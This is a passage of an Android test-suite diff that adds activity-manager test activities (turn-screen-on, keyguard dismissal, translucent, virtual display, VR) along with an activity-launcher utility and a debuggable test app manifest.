+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.os.Bundle;
+
+public class TranslucentTestActivity extends TestActivity {
+
+    private static final String TAG = TranslucentTestActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        setContentView(R.layout.task_overlay);
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTopActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTopActivity.java
new file mode 100644
index 0000000..5d639db
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTopActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.os.Handler;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TranslucentTopActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = TranslucentTopActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
+        if (useWallpaper) {
+            setTheme(R.style.TranslucentWallpaperTheme);
+        }
+
+        final int finishDelay = getIntent().getIntExtra("FINISH_DELAY", 0);
+        if (finishDelay > 0) {
+            Handler handler = new Handler();
+            handler.postDelayed(new Runnable() {
+                @Override
+                public void run() {
+                    Log.d(TAG, "Calling finish()");
+                    finish();
+                }
+            }, finishDelay);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnActivity.java
new file mode 100644
index 0000000..4334503
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class TurnScreenOnActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+        super.onCreate(savedInstanceState);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrActivity.java
new file mode 100644
index 0000000..f644eb2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+public class TurnScreenOnAttrActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnAttrActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrDismissKeyguardActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrDismissKeyguardActivity.java
new file mode 100644
index 0000000..acc92b6
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrDismissKeyguardActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class TurnScreenOnAttrDismissKeyguardActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnAttrDismissKeyguardActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        ((KeyguardManager) getSystemService(KEYGUARD_SERVICE))
+                .requestDismissKeyguard(this, new KeyguardDismissLoggerCallback(this));
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrRemoveAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrRemoveAttrActivity.java
new file mode 100644
index 0000000..9ad7ddd
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrRemoveAttrActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+public class TurnScreenOnAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnAttrRemoveAttrActivity.class.getSimpleName();
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        setTurnScreenOn(false);
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnDismissKeyguardActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnDismissKeyguardActivity.java
new file mode 100644
index 0000000..8f4b947
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnDismissKeyguardActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class TurnScreenOnDismissKeyguardActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+        getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
+                new KeyguardDismissLoggerCallback(this));
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnShowOnLockActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnShowOnLockActivity.java
new file mode 100644
index 0000000..6113a23
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnShowOnLockActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+public class TurnScreenOnShowOnLockActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnShowOnLockActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnSingleTaskActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnSingleTaskActivity.java
new file mode 100644
index 0000000..2dddb9b
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnSingleTaskActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+public class TurnScreenOnSingleTaskActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnSingleTaskActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnWithRelayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnWithRelayoutActivity.java
new file mode 100644
index 0000000..a1ebbab
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnWithRelayoutActivity.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+import android.view.WindowManager;
+
+public class TurnScreenOnWithRelayoutActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnWithRelayoutActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        // This is to force a relayout, specifically with insets changed. When the insets are
+        // changed, it will trigger a performShow that could turn the screen on.
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
new file mode 100644
index 0000000..ade1f74
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.os.Bundle;
+import android.server.am.tools.ActivityLauncher;
+import android.util.Log;
+import android.view.Surface;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+import android.view.ViewGroup;
+
+import java.util.HashMap;
+
+/**
+ * Activity that is able to create and destroy a virtual display.
+ */
+public class VirtualDisplayActivity extends Activity implements SurfaceHolder.Callback {
+    private static final String TAG = "VirtualDisplayActivity";
+
+    private static final int DEFAULT_DENSITY_DPI = 160;
+    private static final String KEY_DENSITY_DPI = "density_dpi";
+    private static final String KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD
+            = "can_show_with_insecure_keyguard";
+    private static final String KEY_PUBLIC_DISPLAY = "public_display";
+    private static final String KEY_RESIZE_DISPLAY = "resize_display";
+    private static final String KEY_LAUNCH_TARGET_ACTIVITY = "launch_target_activity";
+    private static final String KEY_COUNT = "count";
+
+    private DisplayManager mDisplayManager;
+
+    // Container for details about a pending virtual display creation request.
+    private static class VirtualDisplayRequest {
+        public final SurfaceView surfaceView;
+        public final Bundle extras;
+
+        public VirtualDisplayRequest(SurfaceView surfaceView, Bundle extras) {
+            this.surfaceView = surfaceView;
+            this.extras = extras;
+        }
+    }
+
+    // Container to hold association between an active virtual display and surface view.
+    private static class VirtualDisplayEntry {
+        public final VirtualDisplay display;
+        public final SurfaceView surfaceView;
+        public final boolean resizeDisplay;
+        public final int density;
+
+        public VirtualDisplayEntry(VirtualDisplay display, SurfaceView surfaceView, int density,
+                boolean resizeDisplay) {
+            this.display = display;
+            this.surfaceView = surfaceView;
+            this.density = density;
+            this.resizeDisplay = resizeDisplay;
+        }
+    }
+
+    private HashMap<Surface, VirtualDisplayRequest> mPendingDisplayRequests;
+    private HashMap<Surface, VirtualDisplayEntry> mVirtualDisplays;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.virtual_display_layout);
+
+        mVirtualDisplays = new HashMap<>();
+        mPendingDisplayRequests = new HashMap<>();
+        mDisplayManager = (DisplayManager) getSystemService(DISPLAY_SERVICE);
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        final Bundle extras = intent.getExtras();
+        if (extras == null) {
+            return;
+        }
+
+        String command = extras.getString("command");
+        switch (command) {
+            case "create_display":
+                createVirtualDisplay(extras);
+                break;
+            case "destroy_display":
+                destroyVirtualDisplays();
+                break;
+            case "resize_display":
+                resizeDisplay();
+                break;
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        destroyVirtualDisplays();
+    }
+
+    private void createVirtualDisplay(Bundle extras) {
+        final int requestedCount = extras.getInt(KEY_COUNT, 1);
+        Log.d(TAG, "createVirtualDisplays. requested count:" + requestedCount);
+
+        for (int displayCount = 0; displayCount < requestedCount; ++displayCount) {
+            final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
+            final SurfaceView surfaceView = new SurfaceView(this);
+            surfaceView.setLayoutParams(new ViewGroup.LayoutParams(
+                    ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT));
+            surfaceView.getHolder().addCallback(this);
+            mPendingDisplayRequests.put(surfaceView.getHolder().getSurface(),
+                    new VirtualDisplayRequest(surfaceView, extras));
+            root.addView(surfaceView);
+        }
+    }
+
+    private void destroyVirtualDisplays() {
+        Log.d(TAG, "destroyVirtualDisplays");
+        final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
+
+        for (VirtualDisplayEntry entry : mVirtualDisplays.values()) {
+            Log.d(TAG, "destroying:" + entry.display);
+            entry.display.release();
+            root.removeView(entry.surfaceView);
+        }
+
+        mPendingDisplayRequests.clear();
+        mVirtualDisplays.clear();
+    }
+
+    @Override
+    public void surfaceCreated(SurfaceHolder surfaceHolder) {
+        final VirtualDisplayRequest entry =
+                mPendingDisplayRequests.remove(surfaceHolder.getSurface());
+
+        if (entry == null) {
+            return;
+        }
+
+        final int densityDpi = entry.extras.getInt(KEY_DENSITY_DPI, DEFAULT_DENSITY_DPI);
+        final boolean resizeDisplay = entry.extras.getBoolean(KEY_RESIZE_DISPLAY);
+        final String launchActivityName = entry.extras.getString(KEY_LAUNCH_TARGET_ACTIVITY);
+        final Surface surface = surfaceHolder.getSurface();
+
+        // Initially, the surface will not have a set width or height so rely on the parent.
+        // This should be accurate with match parent on both params.
+        final int width = surfaceHolder.getSurfaceFrame().width();
+        final int height = surfaceHolder.getSurfaceFrame().height();
+
+        int flags = 0;
+
+        final boolean canShowWithInsecureKeyguard
+                = entry.extras.getBoolean(KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD);
+        if (canShowWithInsecureKeyguard) {
+            flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
+        }
+
+        final boolean publicDisplay = entry.extras.getBoolean(KEY_PUBLIC_DISPLAY);
+        if (publicDisplay) {
+            flags |= VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+        }
+
+        Log.d(TAG, "createVirtualDisplay: " + width + "x" + height + ", dpi: "
+                + densityDpi + ", canShowWithInsecureKeyguard=" + canShowWithInsecureKeyguard
+                + ", publicDisplay=" + publicDisplay);
+        try {
+            VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(
+                    "VirtualDisplay" + mVirtualDisplays.size(), width,
+                    height, densityDpi, surface, flags);
+            mVirtualDisplays.put(surface,
+                    new VirtualDisplayEntry(virtualDisplay, entry.surfaceView, densityDpi,
+                            resizeDisplay));
+            if (launchActivityName != null) {
+                final int displayId = virtualDisplay.getDisplay().getDisplayId();
+                Log.d(TAG, "Launch activity after display created: activityName="
+                        + launchActivityName + ", displayId=" + displayId);
+                launchActivity(launchActivityName, displayId);
+            }
+        } catch (IllegalArgumentException e) {
+            final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
+            // This is expected when trying to create show-when-locked public display.
+            root.removeView(entry.surfaceView);
+        }
+
+    }
+
+    @Override
+    public void surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height) {
+        final VirtualDisplayEntry entry = mVirtualDisplays.get(surfaceHolder.getSurface());
+
+        if (entry != null && entry.resizeDisplay) {
+            entry.display.resize(width, height, entry.density);
+        }
+    }
+
+    @Override
+    public void surfaceDestroyed(SurfaceHolder surfaceHolder) {
+    }
+
+    /** Resize virtual display to half of the surface frame size. */
+    private void resizeDisplay() {
+        final VirtualDisplayEntry vd = (VirtualDisplayEntry) mVirtualDisplays.values().toArray()[0];
+        final SurfaceHolder surfaceHolder = vd.surfaceView.getHolder();
+        vd.display.resize(surfaceHolder.getSurfaceFrame().width() / 2,
+                surfaceHolder.getSurfaceFrame().height() / 2, vd.density);
+    }
+
+    private void launchActivity(String activityName, int displayId) {
+        final Bundle extras = new Bundle();
+        extras.putBoolean("launch_activity", true);
+        extras.putString("target_activity", activityName);
+        extras.putInt("display_id", displayId);
+        ActivityLauncher.launchActivityFromExtras(this, extras);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/VrTestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/VrTestActivity.java
new file mode 100644
index 0000000..e163aa8
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/VrTestActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.verifier.vr.MockVrListenerService;
+
+/**
+ * Activity that is able to create and destroy a virtual display.
+ */
+public class VrTestActivity extends Activity {
+    private static final String TAG = "VrTestActivity";
+    private static final boolean DEBUG = false;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        if (DEBUG) Log.i(TAG, "onCreate called.");
+        super.onCreate(savedInstanceState);
+        try {
+            setVrModeEnabled(true, new ComponentName(this, MockVrListenerService.class));
+        } catch (PackageManager.NameNotFoundException e) {
+            Log.e(TAG, "Could not set VR mode: " + e);
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        if (DEBUG) Log.i(TAG, "onResume called.");
+        super.onResume();
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasFocus) {
+        if (DEBUG) Log.i(TAG, "onWindowFocusChanged called with " + hasFocus);
+        super.onWindowFocusChanged(hasFocus);
+    }
+
+    @Override
+    protected void onPause() {
+        if (DEBUG) Log.i(TAG, "onPause called.");
+        super.onPause();
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/WallpaperActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/WallpaperActivity.java
new file mode 100644
index 0000000..2bbe1b3
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/WallpaperActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class WallpaperActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/tools/ActivityLauncher.java b/tests/framework/base/activitymanager/app/src/android/server/am/tools/ActivityLauncher.java
new file mode 100644
index 0000000..4b35ccf
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/tools/ActivityLauncher.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.tools;
+
+import static android.content.Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
+
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Bundle;
+import android.server.am.TestActivity;
+import android.util.Log;
+
+/** Utility class which contains common code for launching activities. */
+public class ActivityLauncher {
+    private static final String TAG = ActivityLauncher.class.getSimpleName();
+
+    public static void launchActivityFromExtras(final Context context, Bundle extras) {
+        if (extras == null || !extras.getBoolean("launch_activity")) {
+            return;
+        }
+
+        Log.i(TAG, "launchActivityFromExtras: extras=" + extras);
+
+        final Intent newIntent = new Intent();
+        final String targetActivity = extras.getString("target_activity");
+        if (targetActivity != null) {
+            final String extraPackageName = extras.getString("package_name");
+            final String packageName = extraPackageName != null ? extraPackageName
+                    : context.getApplicationContext().getPackageName();
+            newIntent.setComponent(new ComponentName(packageName,
+                    packageName + "." + targetActivity));
+        } else {
+            newIntent.setClass(context, TestActivity.class);
+        }
+
+        if (extras.getBoolean("launch_to_the_side")) {
+            newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_LAUNCH_ADJACENT);
+            if (extras.getBoolean("random_data")) {
+                final Uri data = new Uri.Builder()
+                        .path(String.valueOf(System.currentTimeMillis()))
+                        .build();
+                newIntent.setData(data);
+            }
+        }
+        if (extras.getBoolean("multiple_task")) {
+            newIntent.addFlags(FLAG_ACTIVITY_MULTIPLE_TASK);
+        }
+        if (extras.getBoolean("new_task")) {
+            newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+        }
+
+        if (extras.getBoolean("reorder_to_front")) {
+            newIntent.addFlags(FLAG_ACTIVITY_REORDER_TO_FRONT);
+        }
+
+        ActivityOptions options = null;
+        final int displayId = extras.getInt("display_id", -1);
+        if (displayId != -1) {
+            options = ActivityOptions.makeBasic();
+            options.setLaunchDisplayId(displayId);
+            newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+        }
+
+        try {
+            context.startActivity(newIntent, options != null ? options.toBundle() : null);
+        } catch (SecurityException e) {
+            Log.e(TAG, "SecurityException launching activity");
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk b/tests/framework/base/activitymanager/appDebuggable/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
rename to tests/framework/base/activitymanager/appDebuggable/Android.mk
diff --git a/tests/framework/base/activitymanager/appDebuggable/AndroidManifest.xml b/tests/framework/base/activitymanager/appDebuggable/AndroidManifest.xml
new file mode 100644
index 0000000..e8a2452
--- /dev/null
+++ b/tests/framework/base/activitymanager/appDebuggable/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.am.debuggable">
+
+    <!--
+     * Security policy requires that only debuggable processes can be profiled
+     * which is tested by ActivityManagerAmProfileTests.
+     -->
+    <application android:debuggable="true">
+        <activity android:name=".DebuggableAppActivity"
+                  android:resizeableActivity="true"
+                  android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/appDebuggable/src/android/server/am/debuggable/DebuggableAppActivity.java b/tests/framework/base/activitymanager/appDebuggable/src/android/server/am/debuggable/DebuggableAppActivity.java
new file mode 100644
index 0000000..33034b3
--- /dev/null
+++ b/tests/framework/base/activitymanager/appDebuggable/src/android/server/am/debuggable/DebuggableAppActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.debuggable;
+
+import android.app.Activity;
+
